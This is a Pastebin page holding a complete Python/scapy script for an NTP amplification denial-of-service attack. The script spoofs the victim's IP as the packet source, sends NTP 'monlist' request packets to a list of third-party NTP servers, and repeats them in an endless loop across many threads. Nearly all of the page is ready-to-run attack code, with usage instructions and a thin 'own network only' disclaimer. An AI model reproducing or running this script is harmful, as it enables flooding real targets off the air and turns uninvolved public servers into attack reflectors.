Guest User

NTP py

a guest
May 15th, 2014
3,919
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/env python
  2. from scapy.all import *
  3. import sys
  4. import threading
  5. import time
  6. #NTP Amp DOS attack
  7. #usage ntpdos.py <target ip> <ntpserver list> <number of threads> ex: ntpdos.py 1.2.3.4 file.txt 10
  8. #FOR USE ON YOUR OWN NETWORK ONLY
  9.  
  10.  
  11. #packet sender
  12. def deny():
  13.  
  14.  
  15. global ntplist
  16. global currentserver
  17. global data
  18. global target
  19. ntpserver = ntplist[currentserver] #Get new server
  20. currentserver = currentserver + 1 #Increment for next
  21. packet = IP(dst=ntpserver,src=target)/UDP(sport=48947,dport=123)/Raw(load=data) #BUILD IT
  22. send(packet,loop=1) #SEND IT
  23.  
  24. #So I dont have to have the same stuff twice
  25. def printhelp():
  26. print "NTP Amplification DOS Attack"
  27. print "By DaRkReD"
  28. print "Usage ntpdos.py <target ip> <ntpserver list> <number of threads>"
  29. print "ex: ex: ntpdos.py 1.2.3.4 file.txt 10"
  30. print "NTP serverlist file should contain one IP per line"
  31. print "MAKE SURE YOUR THREAD COUNT IS LESS THAN OR EQUAL TO YOUR NUMBER OF SERVERS"
  32. exit(0)
  33.  
  34. if len(sys.argv) < 4:
  35. printhelp()
  36. #Fetch Args
  37. target = sys.argv[1]
  38.  
  39. #Help out idiots
  40. if target in ("help","-h","h","?","--h","--help","/?"):
  41. printhelp()
  42.  
  43. ntpserverfile = sys.argv[2]
  44. numberthreads = int(sys.argv[3])
  45. #System for accepting bulk input
  46. ntplist = []
  47. currentserver = 0
  48. with open(ntpserverfile) as f:
  49. ntplist = f.readlines()
  50.  
  51.  
  52.  
  53.  
  54.  
  55. #Make sure we dont out of bounds
  56. if numberthreads > int(len(ntplist)):
  57. print "Attack Aborted: More threads than servers"
  58. print "Next time dont create more threads than servers"
  59. exit(0)
  60.  
  61. #Magic Packet aka NTP v2 Monlist Packet
  62. data = "\x17\x00\x03\x2a" + "\x00" * 4
  63.  
  64. #Hold our threads
  65. threads = []
  66. print "Starting to flood: "+ target + " using NTP list: " + ntpserverfile + " With " + str(numberthreads) + " threads"
  67. print "Use CTRL+C to stop attack"
  68.  
  69. #Thread spawner
  70. for n in range(numberthreads):
  71. thread = threading.Thread(target=deny)
  72. thread.daemon = True
  73. thread.start()
  74.  
  75. threads.append(thread)
  76.  
  77. #In progress!
  78. print "Sending..."
  79.  
  80. #Keep alive so ctrl+c still kills all them threads
  81. while True:
  82. time.sleep(1)
RAW Paste Data